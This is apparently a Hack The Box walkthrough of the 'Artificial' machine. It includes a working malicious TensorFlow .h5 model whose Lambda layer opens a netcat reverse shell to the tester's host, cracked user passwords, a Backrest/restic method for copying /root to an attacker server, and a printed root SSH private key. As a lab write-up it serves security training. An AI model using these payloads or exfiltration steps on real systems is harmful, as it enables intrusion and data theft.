ARTIFICIAL — HACK THE BOX (LINUX, EASY)

DIFFICULTY: EASY

Author: <DottorManu> **IP:** 10.129.232.51 **Hostname:** artificial.htb

MACHINE SUMMARY

Artificial is an easy Linux machine that revolves around an insecure AI model execution flow. By abusing a vulnerable TensorFlow version used to run user-supplied .h5 models, we obtain RCE as the web application user, pivot into internal assets, recover credentials from a SQLite database and finally leverage Backrest to exfiltrate /root and gain full compromise of the host.

Stack: Python, TensorFlow, SQLite, Backrest

Key theme: ML model RCE → backup abuse

GOALS

1. Enumerate the exposed HTTP service and AI dashboard.
2. Abuse TensorFlow .h5 model loading to achieve RCE.
3. Dump the users database and crack passwords.
4. Enumerate Backrest and leverage restic to reach ROOT.

INDEX

1. Introduction

The target machine is an AI-themed Linux host named artificial.htb. The main attack surface is a

web dashboard where users can upload and run TensorFlow models (.h5 files). The goal is to leverage this model execution flow to obtain remote code execution, pivot to internal services and ultimately compromise the system as root.

MACHINE STARTED — ARTIFICIAL (Easy, Linux) Target IP: 10.129.232.51 (added to /etc/hosts as artificial.htb)

2. Initial Enumeration

As usual, I started with a full TCP port scan using nmap to discover open services and perform basic service detection.

```
nmap -v -sV -p- 10.129.232.51

Discovered open port 22/tcp on 10.129.232.51
Discovered open port 80/tcp on 10.129.232.51

80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

NMAP

We only have SSH on port 22 and a web server on port 80, which is typical for Hack The Box Linux machines. SSH is usually left for later, so I moved directly to HTTP enumeration.

3. Web Application & AI Dashboard

The main site on http://artificial.htb exposes a web application with login and registration functionalities. I performed a content discovery on the vhost to identify hidden routes and potential admin or API endpoints.

GOBUSTER

```
gobuster dir -u "http://artificial.htb" \
  --wordlist Discovery/Web-Content/directory-list-2.3-medium.txt

/login               (Status: 200) [Size: 857]
/register            (Status: 200) [Size: 952]
/logout              (Status: 302) [Size: 189] [--> /]
/dashboard           (Status: 302) [Size: 199] [--> /login]
```

I manually tested the /login and /register endpoints for common issues (SQLi, weak validations, basic auth bypass) but didn't find anything exploitable at this stage.

I then created a basic tester account and logged in. The dashboard at /dashboard welcomed me with:

> "Upload, manage, and run your AI models here." The interface only accepts TensorFlow .h5 model files.

This strongly hints that the server is loading user-supplied models unsafely, which is a known attack surface for ML-related RCE.

4. Crafting a Malicious TensorFlow Model

The application conveniently exposes a Dockerfile used to build the model runtime. This reveals both the Python runtime and the TensorFlow version in use, allowing us to look for known RCE primitives.

DOCKERFILE

```
FROM python:3.8-slim

WORKDIR /code

RUN apt-get update && \
    apt-get install -y curl && \
    curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247
    rm -rf /var/lib/apt/lists/*

RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.whl

ENTRYPOINT ["python"]
```

The key piece here is the TensorFlow version: tensorflow-cpu==2.13.1. Using a known research piece on TensorFlow deserialization and Lambda layers, we can craft a malicious model that executes an arbitrary shell command at prediction time.

On my attacker machine, I used the provided Dockerfile image to generate a malicious exploit.h5:

```
EXPLOIT.PY
import tensorflow as tf

def exploit(x):
    import os
    os.system(
        "rm -f /tmp/f;mknod /tmp/f p;"
        "cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.131 4444 >/tmp/f"
    )
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
```

Reference: TensorFlow model RCE research — https://mastersplinter.work/research/tensorflow-rce/

I built the malicious model inside the Docker image with:

```
DOCKER
docker run --rm -v $(pwd):/code <image_name> exploit.py
```

Then I set up a reverse shell listener (via Penelope) on 10.10.14.131:4444 and uploaded exploit.h5 through the dashboard.

5. Initial Shell as app

After uploading the model, I triggered the "predict" functionality from the dashboard. As soon as the model was evaluated, the malicious Lambda executed my reverse shell payload and connected back to the listener:

Result: Shell obtained as app@artificial:~/app$

With an interactive shell as the application user, I started looking for configuration files, secrets and databases inside /home/app/app.

6. Dumping the SQLite Users Database

Inspecting the application directory revealed app.py, which contained the Flask secret_key and a reference to a SQLite users database:

- app.secret_key = "Sup3rS3cr3tKey4rtIfici4L"
- SQLite DB location: instance/users.db

Using the Penelope file browser, I downloaded the database:

```
DOWNLOAD
download /home/app/app/instance/users.db
[+] Download OK '/home/dottormanu/.penelope/sessions/artificial~10.129.232.51-Linux-x8
```

Locally, I inspected the user table with sqlite3:

```sqlite3
sqlite3 users.db
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.

sqlite> SELECT * FROM user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|tester|tester@test.com|5f4dcc3b5aa765d61d8327deb882cf99
7|tester404|tester404@hotmail.com|993eec87c17930ac2055d78ec611ec58
8|newtester404|newtester404@gmail.com|71576689fd610c2123c3c7cf6bd5fcfe
```

7. Cracking User Passwords & User Flag

Instead of immediately throwing the hashes at John or Hashcat, I first tried CrackStation for a quick win. Several MD5 hashes were cracked instantly:

User	Hash (MD5)	Cracked password
gael	c99175974b6e192936d97224638a34f8	mattp005numbertwo
royer	bc25b1f80f544c0ab451c02a3dca9fc6	marwinnarak043414036

With valid user credentials, I was able to log in as a real system user (e.g. gael) and retrieve the user flag.

Result: User shell as gael, user flag obtained from /home/gael/user.txt.

8. Backrest Enumeration

Traditional privilege escalation vectors (sudo -l, linpeas, etc.) didn't reveal anything promising. Manual enumeration, however, uncovered an interesting backup-related service:

- /opt/backrest present on the filesystem.
- Local service listening on 127.0.0.1:9898 (Backrest).

I used SSH port forwarding to expose the Backrest web interface to my attacker machine for easier interaction:

```SSH PORT-FORWARD
ssh -L 9898:127.0.0.1:9898 <user>@artificial.htb
```

Additionally, I found a backup archive in /var/backup:

```BACKUP
/var/backup/backrest_backup.tar.gz
```

Extracting this archive revealed a config.json file with a bcrypt-hashed password for a privileged Backrest user:

CONFIG.JSON

```
"name": "backrest_root",
"passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1
```

Cracking this bcrypt hash yielded the password:

backrest_root / !@#$%^

Using these credentials, I logged into the Backrest interface as backrest_root.

9. Privilege Escalation via Restic & Root Flag

Once authenticated, I created a dummy repository within Backrest so that I could trigger the "run command" functionality. Under the hood, this is essentially invoking restic to perform backups, which is a known candidate for privilege escalation (see GTFOBins).

The idea is:

1. Run a rest-server on the attacker machine.
2. From Backrest, configure a backup job that runs as a high-privilege user.
3. Make it backup /root to our remote repository.

After setting up the remote backup of /root to my controlled server, I could extract the contents of that backup locally, including:

- The root.txt flag.
- The SSH private key for the root user (id_rsa).

/ROOT/.SSH/ID_RSA

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA5dXD22h0xZcysyHyRfknbJXk5O9tVagc1wiwaxGDi+eHE8vb5/Yq
2X2jxWO63SWVGEVSRH61/1cDzvRE2br3GC1ejDYfL7XEbs3vXmb5YkyrVwYt/G/5fyFLui
NErs1kAHWBeMBZKRaSy8VQDRB0bgXCKqqs/yeM5pOsm8RpT/jjYkNdZLNVhnP3jXW+k0D1
Hkmo6C5MLbK6X5t6r/2gfUyNAkjCUJm6eJCQgQoHHSVFqlEFWRTEmQAYjW52HzucnXWJqI
4qt2sY9jgGo89Er72BXEfCzAaglwt/W1QXPUV6ZRfgqSi1LmCgpVQkI9wcmSWsH1RhzQj/
MTCSGARSFHi/hr3+M53bsmJ3zkJx0443yJV7P9xjH4I2kNWgScS0RiaArkldOMSrIFymhN
xI4C2LRxBTv3x1mzgm0RVpXf8dFyMfENqlAOEkKJjVn8QFg/iyyw3XfOSJ/Da1HFLJwDOy
1jbuVzGf9DnzkYSgoQLDajAGyC8Ymx6HVVA49THRAAAFiIVAe5KFQHuSAAAAB3NzaC1yc2
EAAAGBAOXVw9todMWXMrMh8kX5J2yV5OTvbVWoHNcIsGsRg4vnhxPL2+f2Ktl9o8Vjut0l
lRhFUkR+tf9XA870RNm69xgtXow2Hy+1xG7N715m+WJMq1cGLfxv+X8hS7ojRK7NZAB1gX
jAWSkWksvFUA0QdG4FwiqqrP8njOaTrJvEaU/442JDXWSzVYZz9411vpNA9R5JqOguTC2y
ul+beq/9oH1MjQJIwlCZuniQkIEKBx0lRapRBVkUxJkAGI1udh87nJ11iaiOKrdrGPY4Bq
PPRK+9gVxHwswGoJcLf1tUFz1FemUX4KkotS5goKVUJCPcHJklrB9UYc0I/zEwkhgEUhR4
v4a9/jOd27Jid85CcdOON8iVez/cYx+CNpDVoEnEtEYmgK5JXTjEqyBcpoTcSOAti0cQU7
98dZs4JtEVaV3/HRcjHxDapQDhJCiY1Z/EBYP4sssN13zkifw2tRxSycAzstY27lcxn/Q5
85GEoKECw2owBsgvGJseh1VQOPUx0QAAAAMBAAEAAAGAKpBZEkQZBBLJP+V0gcLvqytjVY
aFwAw/Mw+X5Gw86Wb6XA8v7ZhoPRkIgGDE1XnFT9ZesvKob95EhUo1igEXC7IzRVIsmmBW
PZMD1n7JhoveW2J4l7yA/ytCY/luGdVNxMv+K0er+3EDxJsJBTJb7ZhBajdrjGFdtcH5gG
tyeW4FZkhFfoW7vAez+82neovYGUDY+A7C6t+jplsb8IXO+AV6Q8cHvXeK0hMrv8oEoUAq
06zniaTP9+nNojunwob+Uzz+Mvx/R1h6+F77DlhpGaRVAMS2eMBAmh116oX8MYtgZI5/gs
```

```
00l898E0SzO8tNErgp2DvzWJ4uE5BvunEKhoXTL6BOs0uNLZYjOmEpf1sbiEj+5fx/KXDu
S918igW2vtohiy4//6mtfZ3Yx5cbJALViCB+d6iG1zoe1kXLqdISR8Myu81IoPUnYhn6JF
yJDmfzfQRweboqV0dYibYXfSGeUdWqq1S3Ea6ws2SkmjYZPq4X9cIYj47OuyQ8LpRVAAAA
wDbejp5aOd699/Rjw4KvDOkoFcwZybnkBMggr5FbyKtZiGe7l9TdOvFU7LpIB5L1I+bZQR
6E0/5UW4UWPEu5Wlf3rbEbloqBuSBuVwlT3bnlfFu8rzPJKXSAHxUTGU1r+LJDEiyOeg8e
09RsVL31LGX714SIEfIk/faa+nwP/kTHOjKdH0HCWGdECfKBz0H8aLHrRK2ALVFr2QA/GO
At7A4TZ3W3RNhWhDowiyDQFv4aFGTC30Su7akTtKqQEz/aOQAAAMEA/EkpTykaiCy6CCjY
WjyLvi6/OFJoQz3giX8vqD940ZgC1B7GRFyEr3UDacijnyGegdq9n6t73U3x2s3AvPtJR+
LBeCNCKmOILeFbH19o2Eg0B32ZDwRyIx8tnxWIQfCyuUSG9gEJ6h2Awyhjb6P0UnnPuSoq
O9r6L+eFbQ60LJtsEMWkctDzNzrtNQHmRAwVEgUc0FlNNknM/+NDsLFiqG4wBiKDvgev0E
UzM9+Ujyio6EqW6D+TTwvyD2EgPVVDAAAAwQDpN/02+mnvwp1C78k/T/SHY8zlQZ6BeIyJ
h1U0fDs2Fy8izyCm4vCglRhVc4fDjUXhBEKAdzEj8dX5ltNndrHzB7q9xHhAx73c+xgS9n
FbhusxvMKNaQihxXqzXP4eQ+gkmpcK3Ta6jE+73DwMw6xWkRZWXKW+9tVB6UEt7n6yq84C
bo2vWr51jtZCC9MbtaGfo0SKrzF+bD+1L/2JcSjtsI59D1KNiKKTKTNRfPiwU5DXVb3AYU
l8bhOOImho4VsAAAAPcm9vdEBhcnRpZmljaWFsAQIDBA==
-----END OPENSSH PRIVATE KEY-----
```

With this key, obtaining a proper interactive root shell is trivial:

SSH ROOT

```
chmod 600 id_rsa
ssh -i id_rsa root@artificial.htb
```

Result: Full compromise of the machine as root, root flag retrieved.

10. References & Final Notes

Artificial nicely showcases how modern “AI” features can introduce classic deserialization RCE issues when arbitrary models are executed without proper sandboxing. Once the initial foothold is gained, the rest of the path relies on weak password storage and a backup solution configured in a way that effectively exposes /root through restic.

- TensorFlow model RCE research — Lambda layers & deserialization.
- Backrest & restic backup model, and their usage as an escalation vector.
- Cracking fast hashes (MD5) with online databases such as CrackStation.

Good takeaways: treat ML runtimes as sensitive, avoid running user-supplied models directly, enforce strong password hashing (bcrypt, Argon2) and lock down backup tools so they don’t become an easy path to exfiltrate / root.